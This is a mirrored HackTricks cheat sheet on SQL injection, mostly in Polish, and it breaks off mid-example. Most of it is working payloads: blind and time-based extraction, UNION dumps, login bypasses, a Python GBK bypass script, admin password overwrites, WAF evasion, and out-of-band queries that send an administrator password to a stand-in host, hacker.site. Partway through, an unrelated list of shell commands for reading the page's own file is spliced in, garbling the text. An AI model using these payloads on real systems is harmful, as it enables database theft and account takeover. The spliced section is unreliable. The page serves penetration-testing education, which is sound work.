mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
609 lines
27 KiB
Markdown
609 lines
27 KiB
Markdown
# SQL Injection
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Czym jest SQL injection?
|
||
|
||
**SQL injection** to luka bezpieczeństwa, która pozwala atakującym **ingerować w zapytania do bazy danych** aplikacji. Ta podatność może umożliwić atakującym **przeglądanie**, **modyfikowanie** lub **usuwanie** danych, do których nie powinni mieć dostępu, w tym informacji innych użytkowników lub jakichkolwiek danych dostępnych dla aplikacji. Takie działania mogą skutkować trwałymi zmianami w funkcjonalności lub zawartości aplikacji, a nawet kompromitacją serwera lub odmową usługi.
|
||
|
||
## Wykrywanie punktu wejścia
|
||
|
||
Kiedy strona wydaje się być **podatna na SQL injection (SQLi)** z powodu nietypowych odpowiedzi serwera na wejścia związane z SQLi, **pierwszym krokiem** jest zrozumienie, jak **wstrzyknąć dane do zapytania bez jego zakłócenia**. To wymaga zidentyfikowania metody skutecznego **ucieczki z bieżącego kontekstu**. Oto kilka przydatnych przykładów:
|
||
```
|
||
[Nothing]
|
||
'
|
||
"
|
||
`
|
||
')
|
||
")
|
||
`)
|
||
'))
|
||
"))
|
||
`))
|
||
```
|
||
Następnie musisz wiedzieć, jak **naprawić query, żeby nie było błędów**. Aby naprawić query możesz **input** dane tak, aby **poprzednie query zaakceptowało nowe dane**, albo możesz po prostu **input** swoje dane i **dodać symbol komentarza na końcu**.
|
||
|
||
_Zauważ, że jeśli widzisz komunikaty o błędach lub potrafisz dostrzec różnice, gdy query działa, a gdy nie, ta faza będzie łatwiejsza._
|
||
|
||
### **Komentarze**
|
||
```sql
|
||
MySQL
|
||
#comment
|
||
-- comment [Note the space after the double dash]
|
||
/*comment*/
|
||
/*! MYSQL Special SQL */
|
||
|
||
PostgreSQL
|
||
--comment
|
||
/*comment*/
|
||
|
||
MSQL
|
||
--comment
|
||
/*comment*/
|
||
|
||
Oracle
|
||
--comment
|
||
|
||
SQLite
|
||
--comment
|
||
/*comment*/
|
||
|
||
HQL
|
||
HQL does not support comments
|
||
```
|
||
### Potwierdzanie za pomocą operacji logicznych
|
||
|
||
Niezawodną metodą potwierdzenia podatności na SQL injection jest wykonanie **operacji logicznej** i obserwowanie oczekiwanych wyników. Na przykład parametr GET taki jak `?username=Peter`, zwracający identyczną zawartość po zmianie na `?username=Peter' or '1'='1`, wskazuje na podatność na SQL injection.
|
||
|
||
Podobnie zastosowanie **operacji matematycznych** stanowi skuteczną technikę potwierdzenia. Na przykład, jeśli dostęp do `?id=1` i `?id=2-1` zwraca ten sam wynik, wskazuje to na SQL injection.
|
||
|
||
Przykłady demonstrujące potwierdzenie przez operacje logiczne:
|
||
```
|
||
page.asp?id=1 or 1=1 -- results in true
|
||
page.asp?id=1' or 1=1 -- results in true
|
||
page.asp?id=1" or 1=1 -- results in true
|
||
page.asp?id=1 and 1=2 -- results in false
|
||
```
|
||
Ta lista słów została stworzona, aby spróbować **potwierdzić SQLinjections** zaproponowaną metodą:
|
||
|
||
<details>
|
||
<summary>True SQLi</summary>
|
||
```
|
||
true
|
||
1
|
||
1>0
|
||
2-1
|
||
0+1
|
||
1*1
|
||
1%2
|
||
1 & 1
|
||
1&1
|
||
1 && 2
|
||
1&&2
|
||
-1 || 1
|
||
-1||1
|
||
-1 oR 1=1
|
||
1 aND 1=1
|
||
(1)oR(1=1)
|
||
(1)aND(1=1)
|
||
-1/**/oR/**/1=1
|
||
1/**/aND/**/1=1
|
||
1'
|
||
1'>'0
|
||
2'-'1
|
||
0'+'1
|
||
1'*'1
|
||
1'%'2
|
||
1'&'1'='1
|
||
1'&&'2'='1
|
||
-1'||'1'='1
|
||
-1'oR'1'='1
|
||
1'aND'1'='1
|
||
1"
|
||
1">"0
|
||
2"-"1
|
||
0"+"1
|
||
1"*"1
|
||
1"%"2
|
||
1"&"1"="1
|
||
1"&&"2"="1
|
||
-1"||"1"="1
|
||
-1"oR"1"="1
|
||
1"aND"1"="1
|
||
1`
|
||
1`>`0
|
||
2`-`1
|
||
0`+`1
|
||
1`*`1
|
||
1`%`2
|
||
1`&`1`=`1
|
||
1`&&`2`=`1
|
||
-1`||`1`=`1
|
||
-1`oR`1`=`1
|
||
1`aND`1`=`1
|
||
1')>('0
|
||
2')-('1
|
||
0')+('1
|
||
1')*('1
|
||
1')%('2
|
||
1')&'1'=('1
|
||
1')&&'1'=('1
|
||
-1')||'1'=('1
|
||
-1')oR'1'=('1
|
||
1')aND'1'=('1
|
||
1")>("0
|
||
2")-("1
|
||
0")+("1
|
||
1")*("1
|
||
1")%("2
|
||
1")&"1"=("1
|
||
1")&&"1"=("1
|
||
-1")||"1"=("1
|
||
-1")oR"1"=("1
|
||
1")aND"1"=("1
|
||
1`)>(`0
|
||
2`)-(`1
|
||
0`)+(`1
|
||
1`)*(`1
|
||
1`)%(`2
|
||
1`)&`1`=(`1
|
||
1`)&&`1`=(`1
|
||
-1`)||`1`=(`1
|
||
-1`)oR`1`=(`1
|
||
1`)aND`1`=(`1
|
||
```
|
||
</details>
|
||
|
||
### Potwierdzanie przez pomiar czasu
|
||
|
||
W niektórych przypadkach **nie zauważysz żadnej zmiany** na stronie, którą testujesz. Dlatego dobrym sposobem na **wykrycie blind SQL injections** jest zmuszenie DB do wykonania działań, które będą miały **wpływ na czas** ładowania strony.\
|
||
Dlatego zamierzamy concat w SQL query operację, która zajmie dużo czasu, aby się wykonać:
|
||
```
|
||
MySQL (string concat and logical ops)
|
||
1' + sleep(10)
|
||
1' and sleep(10)
|
||
1' && sleep(10)
|
||
1' | sleep(10)
|
||
|
||
PostgreSQL (only support string concat)
|
||
1' || pg_sleep(10)
|
||
|
||
MSQL
|
||
1' WAITFOR DELAY '0:0:10'
|
||
|
||
Oracle
|
||
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
|
||
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
|
||
|
||
SQLite
|
||
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
|
||
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
|
||
```
|
||
W niektórych przypadkach **funkcje sleep nie będą dozwolone**. Wtedy, zamiast używać tych funkcji, możesz spowodować, że zapytanie **wykona złożone operacje**, które zajmą kilka sekund. _Przykłady tych technik będą omawiane osobno dla każdej technologii (jeśli występują)_.
|
||
|
||
### Identyfikacja Back-endu
|
||
|
||
Najlepszym sposobem na identyfikację back-endu jest próba wykonania funkcji różnych back-endów. Możesz użyć _**sleep**_ **funkcji** z poprzedniej sekcji lub tych (tabela z [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
|
||
```bash
|
||
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
|
||
["connection_id()=connection_id()" ,"MYSQL"],
|
||
["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
|
||
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
|
||
["@@CONNECTIONS>0" ,"MSSQL"],
|
||
["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"],
|
||
["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"],
|
||
["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
|
||
["ROWNUM=ROWNUM" ,"ORACLE"],
|
||
["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
|
||
["LNNVL(0=123)" ,"ORACLE"],
|
||
["5::int=5" ,"POSTGRESQL"],
|
||
["5::integer=5" ,"POSTGRESQL"],
|
||
["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
|
||
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
|
||
["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
|
||
["current_database()=current_database()" ,"POSTGRESQL"],
|
||
["sqlite_version()=sqlite_version()" ,"SQLITE"],
|
||
["last_insert_rowid()>1" ,"SQLITE"],
|
||
["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
|
||
["val(cvar(1))=1" ,"MSACCESS"],
|
||
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
|
||
["cdbl(1)=cdbl(1)" ,"MSACCESS"],
|
||
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||
```
|
||
Also, jeśli masz dostęp do wyjścia zapytania, możesz spowodować, żeby **wyświetliło wersję bazy danych**.
|
||
|
||
> [!TIP]
|
||
> W dalszej części omówimy różne metody eksploatacji różnych rodzajów SQL Injection. Jako przykład użyjemy MySQL.
|
||
|
||
### Identyfikacja przy użyciu PortSwigger
|
||
|
||
|
||
{{#ref}}
|
||
https://portswigger.net/web-security/sql-injection/cheat-sheet
|
||
{{#endref}}
|
||
|
||
## Wykorzystywanie Union Based
|
||
|
||
### Wykrywanie liczby kolumn
|
||
|
||
Jeśli możesz zobaczyć wynik zapytania, to jest to najlepszy sposób na jego exploitację.\
|
||
Najpierw musimy ustalić **liczbę** **kolumn**, które zwraca **początkowe żądanie**. Dzieje się tak, ponieważ **oba zapytania muszą zwracać tę samą liczbę kolumn**.\
|
||
Do tego celu zwykle stosuje się dwie metody:
|
||
|
||
#### Order/Group by
|
||
|
||
Aby określić liczbę kolumn w zapytaniu, stopniowo zwiększaj liczbę używaną w klauzulach **ORDER BY** lub **GROUP BY**, aż otrzymasz fałszywą odpowiedź. Pomimo odmiennych funkcji **GROUP BY** i **ORDER BY** w SQL, obie można wykorzystać w identyczny sposób do ustalenia liczby kolumn zwracanych przez zapytanie.
|
||
```sql
|
||
1' ORDER BY 1--+ #True
|
||
1' ORDER BY 2--+ #True
|
||
1' ORDER BY 3--+ #True
|
||
1' ORDER BY 4--+ #False - Query is only using 3 columns
|
||
#-1' UNION SELECT 1,2,3--+ True
|
||
```
|
||
|
||
```sql
|
||
1' GROUP BY 1--+ #True
|
||
1' GROUP BY 2--+ #True
|
||
1' GROUP BY 3--+ #True
|
||
1' GROUP BY 4--+ #False - Query is only using 3 columns
|
||
#-1' UNION SELECT 1,2,3--+ True
|
||
```
|
||
#### UNION SELECT
|
||
|
||
Select coraz więcej wartości null, aż zapytanie będzie poprawne:
|
||
```sql
|
||
1' UNION SELECT null-- - Not working
|
||
1' UNION SELECT null,null-- - Not working
|
||
1' UNION SELECT null,null,null-- - Worked
|
||
```
|
||
_Powinieneś używać wartości `null`, ponieważ w niektórych przypadkach typ kolumn po obu stronach zapytania musi być taki sam, a null jest poprawny w każdym przypadku._
|
||
|
||
### Wyodrębnianie nazw baz danych, nazw tabel i nazw kolumn
|
||
|
||
W poniższych przykładach pobierzemy nazwy wszystkich baz danych, nazwę tabeli z danej bazy oraz nazwy kolumn tabeli:
|
||
```sql
|
||
#Database names
|
||
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
|
||
|
||
#Tables of a database
|
||
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]
|
||
|
||
#Column names
|
||
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
|
||
```
|
||
_Istnieje inny sposób odkrywania tych danych w każdej bazie danych, ale metodologia jest zawsze ta sama._
|
||
|
||
## Exploiting Hidden Union Based
|
||
|
||
When the output of a query is visible, but a union-based injection seems unachievable, it signifies the presence of a **hidden union-based injection**. This scenario often leads to a blind injection situation. To transform a blind injection into a union-based one, the execution query on the backend needs to be discerned.
|
||
|
||
This can be accomplished through the use of blind injection techniques alongside the default tables specific to your target Database Management System (DBMS). For understanding these default tables, consulting the documentation of the target DBMS is advised.
|
||
|
||
Once the query has been extracted, it's necessary to tailor your payload to safely close the original query. Subsequently, a union query is appended to your payload, facilitating the exploitation of the newly accessible union-based injection.
|
||
|
||
For more comprehensive insights, refer to the complete article available at [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
|
||
|
||
## Exploiting Error based
|
||
|
||
If for some reason you **nie możesz** see the **output** of the **query** but you can **zobaczyć error messages**, you can make this error messages to **ex-filtrate** data from the database.\
|
||
Following a similar flow as in the Union Based exploitation you could manage to dump the DB.
|
||
```sql
|
||
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
|
||
```
|
||
## Exploiting Blind SQLi
|
||
|
||
W tym przypadku nie możesz zobaczyć wyników zapytania ani błędów, ale możesz **rozróżnić**, kiedy zapytanie **zwraca** odpowiedź **true** lub **false**, ponieważ na stronie pojawiają się różne treści.\
|
||
W takim przypadku możesz wykorzystać to zachowanie, aby zrzucać bazę danych znak po znaku:
|
||
```sql
|
||
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
|
||
```
|
||
## Wykorzystywanie Error Blind SQLi
|
||
|
||
To jest **ten sam przypadek co wcześniej**, ale zamiast rozróżniać odpowiedź true/false z zapytania możesz **rozróżnić**, czy występuje **błąd** w zapytaniu SQL czy nie (może dlatego, że serwer HTTP się zawiesza). Dlatego w tym przypadku możesz wymusić SQLerror za każdym razem, gdy poprawnie odgadniesz char:
|
||
```sql
|
||
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
||
```
|
||
## Exploiting Time Based SQLi
|
||
|
||
W tym przypadku **nie ma** żadnego sposobu, aby **rozróżnić** **odpowiedź** zapytania na podstawie kontekstu strony. Jednak możesz sprawić, że strona będzie się **ładować dłużej**, jeśli odgadnięty znak jest poprawny. Widzieliśmy już wcześniej użycie tej techniki, aby [confirm a SQLi vuln](#confirming-with-timing).
|
||
```sql
|
||
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
|
||
```
|
||
## Stacked Queries
|
||
|
||
Możesz użyć stacked queries, aby **wykonać wiele zapytań jedno po drugim**. Zauważ, że chociaż kolejne zapytania są wykonywane, **wyniki** **nie są zwracane do aplikacji**. Stąd ta technika jest przede wszystkim użyteczna w odniesieniu do **blind vulnerabilities**, gdzie możesz użyć drugiego zapytania, aby wywołać DNS lookup, warunkowy błąd lub opóźnienie czasowe.
|
||
|
||
**Oracle** nie obsługuje **stacked queries.** **MySQL, Microsoft** i **PostgreSQL** je obsługują: `QUERY-1-HERE; QUERY-2-HERE`
|
||
|
||
## Out of band Exploitation
|
||
|
||
Jeśli **no-other** exploitation method **worked**, możesz spróbować sprawić, aby **database ex-filtrate** informacje do **external host** kontrolowanego przez Ciebie. Na przykład, za pomocą zapytań DNS:
|
||
```sql
|
||
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
|
||
```
|
||
### Eksfiltracja danych poza pasmem za pomocą XXE
|
||
```sql
|
||
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
|
||
```
|
||
## Zautomatyzowana eksploatacja
|
||
|
||
Sprawdź [SQLMap Cheatsheet](sqlmap/index.html), aby wykorzystać podatność SQLi za pomocą [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
|
||
|
||
## Informacje specyficzne dla technologii
|
||
|
||
Omówiliśmy już wszystkie sposoby wykorzystania podatności SQL Injection. Znajdź więcej sztuczek zależnych od technologii bazy danych w tej książce:
|
||
|
||
- [MS Access](ms-access-sql-injection.md)
|
||
- [MSSQL](mssql-injection.md)
|
||
- [MySQL](mysql-injection/index.html)
|
||
- [Oracle](oracle-injection.md)
|
||
- [PostgreSQL](postgresql-injection/index.html)
|
||
|
||
Możesz też znaleźć **wiele sztuczek dotyczących: MySQL, PostgreSQL, Oracle, MSSQL, SQLite i HQL w** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
||
|
||
## Omijanie uwierzytelniania
|
||
|
||
Lista do wypróbowania, aby obejść funkcję logowania:
|
||
|
||
|
||
{{#ref}}
|
||
../login-bypass/sql-login-bypass.md
|
||
{{#endref}}
|
||
|
||
### Raw hash authentication Bypass
|
||
```sql
|
||
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
|
||
```
|
||
To zapytanie pokazuje podatność, gdy MD5 jest używany z true dla surowego wyjścia w kontrolach uwierzytelniania, co czyni system podatnym na SQL injection. Atakujący mogą to wykorzystać, tworząc dane wejściowe, które po zahashowaniu generują nieoczekiwane fragmenty poleceń SQL, prowadząc do nieautoryzowanego dostępu.
|
||
```sql
|
||
md5("ffifdyop", true) = 'or'6<EFBFBD>]<EFBFBD><EFBFBD>!r,<EFBFBD><EFBFBD>b<EFBFBD>
|
||
sha1("3fDf ", true) = Q<EFBFBD>u'='<EFBFBD>@<EFBFBD>[<EFBFBD>t<EFBFBD>- o<EFBFBD><EFBFBD>_-!
|
||
```
|
||
### Injected hash authentication Bypass
|
||
```sql
|
||
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
|
||
```
|
||
**Zalecana lista**:
|
||
|
||
Użyj jako username każdej linii listy i jako password zawsze: _**Pass1234.**_\
|
||
_(Te payloads są również zawarte w dużej liście wspomnianej na początku tej sekcji)_
|
||
|
||
{{#file}}
|
||
sqli-hashbypass.txt
|
||
{{#endfile}}
|
||
|
||
### GBK Authentication Bypass
|
||
|
||
Jeśli ' jest escaped, możesz użyć %A8%27, a gdy ' zostanie escaped, powstanie: 0xA80x5c0x27 (_╘'_)
|
||
```sql
|
||
%A8%27 OR 1=1;-- 2
|
||
%8C%A8%27 OR 1=1-- 2
|
||
%bf' or 1=1 -- --
|
||
```
|
||
Skrypt Pythona:
|
||
```python
|
||
import requests
|
||
url = "http://example.com/index.php"
|
||
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
|
||
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
|
||
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
|
||
print r.text
|
||
```
|
||
### Polyglot injection (multicontext)
|
||
```sql
|
||
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
||
```
|
||
## Instrukcja INSERT
|
||
|
||
### Zmiana hasła istniejącego obiektu/użytkownika
|
||
|
||
Aby to zrobić, spróbuj **utworzyć nowy obiekt o nazwie takiej jak "master object"** (prawdopodobnie **admin** w przypadku użytkowników), modyfikując coś:
|
||
|
||
- Utwórz użytkownika o nazwie: **AdMIn** (wielkie & małe litery)
|
||
- Utwórz użytkownika o nazwie: **admin=**
|
||
- **SQL Truncation Attack** (gdy istnieje jakiś **limit długości** w nazwie użytkownika lub emailu) --> Utwórz użytkownika o nazwie: **admin \[a lot of spaces] a**
|
||
|
||
#### SQL Truncation Attack
|
||
|
||
If the database is vulnerable and the max number of chars for username is for example 30 and you want to impersonate the user **admin**, try to create a username called: "_admin \[30 spaces] a_" and any password.
|
||
|
||
The database will **check** if the introduced **username** **exists** inside the database. If **not**, it will **cut** the **username** to the **max allowed number of characters** (in this case to: "_admin \[25 spaces]_") and the it will **automatically remove all the spaces at the end updating** inside the database the user "**admin**" with the **new password** (some error could appear but it doesn't means that this hasn't worked).
|
||
|
||
More info: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
||
|
||
_Uwaga: Ten atak nie będzie już działać w sposób opisany powyżej w najnowszych instalacjach MySQL. Chociaż porównania nadal domyślnie ignorują końcowe spacje, próba wstawienia łańcucha dłuższego niż długość pola spowoduje błąd, a wstawienie się nie powiedzie. Aby uzyskać więcej informacji o tej kontroli:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
|
||
|
||
### MySQL Insert time based checking
|
||
|
||
Dodaj tyle `','',''`, ile uważasz za konieczne, aby opuścić instrukcję VALUES. Jeśli zostanie wykonane opóźnienie, masz SQLInjection.
|
||
```sql
|
||
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
|
||
```
|
||
### ON DUPLICATE KEY UPDATE
|
||
|
||
Klauzula `ON DUPLICATE KEY UPDATE` w MySQL jest używana do określenia działań, jakie baza danych ma podjąć, gdy próbuje się wstawić wiersz, który spowodowałby duplikat wartości w UNIQUE index lub PRIMARY KEY. Poniższy przykład pokazuje, jak tę funkcję można wykorzystać do zmiany hasła konta administratora:
|
||
|
||
Przykład payloadu injekcji:
|
||
|
||
Payload injekcji może być skonstruowany w następujący sposób, gdzie próbuje się wstawić dwa wiersze do tabeli `users`. Pierwszy wiersz jest wabikiem (decoy), a drugi wiersz celuje w istniejący adres e-mail administratora z zamiarem zaktualizowania hasła:
|
||
```sql
|
||
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
|
||
```
|
||
Oto jak to działa:
|
||
|
||
- Zapytanie próbuje wstawić dwa wiersze: jeden dla `generic_user@example.com` i drugi dla `admin_generic@example.com`.
|
||
- Jeśli wiersz dla `admin_generic@example.com` już istnieje, klauzula `ON DUPLICATE KEY UPDATE` zostaje wywołana, instruując MySQL, aby zaktualizował pole `password` istniejącego wiersza na "bcrypt_hash_of_newpassword".
|
||
- W konsekwencji można następnie spróbować uwierzytelnienia używając `admin_generic@example.com` z hasłem odpowiadającym hashowi bcrypt ("bcrypt_hash_of_newpassword" oznacza hash bcrypt nowego hasła, który powinien zostać zastąpiony rzeczywistym hashem wybranego hasła).
|
||
|
||
### Wyodrębnianie informacji
|
||
|
||
#### Tworzenie 2 kont jednocześnie
|
||
|
||
Przy próbie utworzenia nowego użytkownika wymagane są nazwa użytkownika, hasło i adres e-mail:
|
||
```
|
||
SQLi payload:
|
||
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
|
||
|
||
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
|
||
```
|
||
#### Używanie systemu dziesiętnego lub szesnastkowego
|
||
|
||
Dzięki tej technice możesz wydobyć informacje tworząc tylko 1 konto. Ważne jest, że nie musisz nic komentować.
|
||
|
||
Używając **hex2dec** i **substr**:
|
||
```sql
|
||
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||
```
|
||
Aby pobrać tekst możesz użyć:
|
||
|
||
- cat src/pentesting-web/sql-injection/README.md
|
||
- less src/pentesting-web/sql-injection/README.md
|
||
- sed -n '1,200p' src/pentesting-web/sql-injection/README.md
|
||
- git show HEAD:src/pentesting-web/sql-injection/README.md
|
||
- curl -s https://raw.githubusercontent.com/<user>/<repo>/<branch>/src/pentesting-web/sql-injection/README.md (zamień <user>/<repo>/<branch>)
|
||
```python
|
||
__import__('binascii').unhexlify(hex(215573607263)[2:])
|
||
```
|
||
Używając **hex** i **replace** (oraz **substr**):
|
||
```sql
|
||
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||
|
||
'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||
|
||
#Full ascii uppercase and lowercase replace:
|
||
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||
```
|
||
## Routed SQL injection
|
||
|
||
Routed SQL injection występuje wtedy, gdy injectable query nie jest tym, które zwraca output, lecz output z injectable query trafia do query, które zwraca output. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||
|
||
Przykład:
|
||
```
|
||
#Hex of: -1' union select login,password from users-- a
|
||
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
|
||
```
|
||
## WAF Bypass
|
||
|
||
[Initial bypasses from here](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
|
||
|
||
### No spaces bypass
|
||
|
||
No Space (%20) - bypass przy użyciu alternatyw dla białych znaków
|
||
```sql
|
||
?id=1%09and%091=1%09--
|
||
?id=1%0Dand%0D1=1%0D--
|
||
?id=1%0Cand%0C1=1%0C--
|
||
?id=1%0Band%0B1=1%0B--
|
||
?id=1%0Aand%0A1=1%0A--
|
||
?id=1%A0and%A01=1%A0--
|
||
```
|
||
No Whitespace - bypass przy użyciu komentarzy
|
||
```sql
|
||
?id=1/*comment*/and/**/1=1/**/--
|
||
```
|
||
No Whitespace - bypass używając nawiasów
|
||
```sql
|
||
?id=(1)and(1)=(1)--
|
||
```
|
||
### No commas bypass
|
||
|
||
No Comma - bypass z użyciem OFFSET, FROM i JOIN
|
||
```
|
||
LIMIT 0,1 -> LIMIT 1 OFFSET 0
|
||
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
|
||
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
|
||
```
|
||
### Ogólne obejścia
|
||
|
||
Czarna lista oparta na słowach kluczowych - obejście przez użycie wielkich/małych liter
|
||
```sql
|
||
?id=1 AND 1=1#
|
||
?id=1 AnD 1=1#
|
||
?id=1 aNd 1=1#
|
||
```
|
||
Blacklist używający słów kluczowych bez rozróżniania wielkości liter - bypass przy użyciu równoważnego operatora
|
||
```
|
||
AND -> && -> %26%26
|
||
OR -> || -> %7C%7C
|
||
= -> LIKE,REGEXP,RLIKE, not < and not >
|
||
> X -> not between 0 and X
|
||
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
|
||
```
|
||
### Omijanie WAF przez notację naukową
|
||
|
||
Szczegółowe wyjaśnienie tego triku można znaleźć na [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
|
||
W skrócie możesz użyć notacji naukowej w nieoczekiwany sposób, aby obejść WAF:
|
||
```
|
||
-1' or 1.e(1) or '1'='1
|
||
-1' or 1337.1337e1 or '1'='1
|
||
' or 1.e('')=
|
||
```
|
||
### Omijanie ograniczenia nazw kolumn
|
||
|
||
Przede wszystkim zwróć uwagę, że jeśli **oryginalne zapytanie i tabela o nazwie flag mają taką samą liczbę kolumn**, możesz po prostu zrobić: `0 UNION SELECT * FROM flag`
|
||
|
||
Można **uzyskać dostęp do trzeciej kolumny tabeli bez używania jej nazwy** za pomocą zapytania takiego jak: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, więc w sqlinjection wyglądałoby to tak:
|
||
```bash
|
||
# This is an example with 3 columns that will extract the column number 3
|
||
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
|
||
```
|
||
Lub używając **comma bypass**:
|
||
```bash
|
||
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
|
||
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
|
||
```
|
||
Ten trik został zaczerpnięty z [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
|
||
|
||
### Column/tablename injection w liście SELECT za pomocą subqueries
|
||
|
||
Jeżeli dane od użytkownika są konkatenowane do listy SELECT lub do identyfikatorów tabel/kolumn, prepared statements nie pomogą, ponieważ bind parameters chronią tylko wartości, a nie identyfikatory. Powszechny podatny wzorzec wygląda tak:
|
||
```php
|
||
// Pseudocode
|
||
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
|
||
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
|
||
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
|
||
$stmt = $db->pquery($q, [$rec_id]);
|
||
```
|
||
Pomysł eksploatacji: wstrzyknąć subquery w pozycji pola, aby exfiltrate dowolne dane:
|
||
```sql
|
||
-- Legit
|
||
SELECT user_name FROM vte_users WHERE id=1;
|
||
|
||
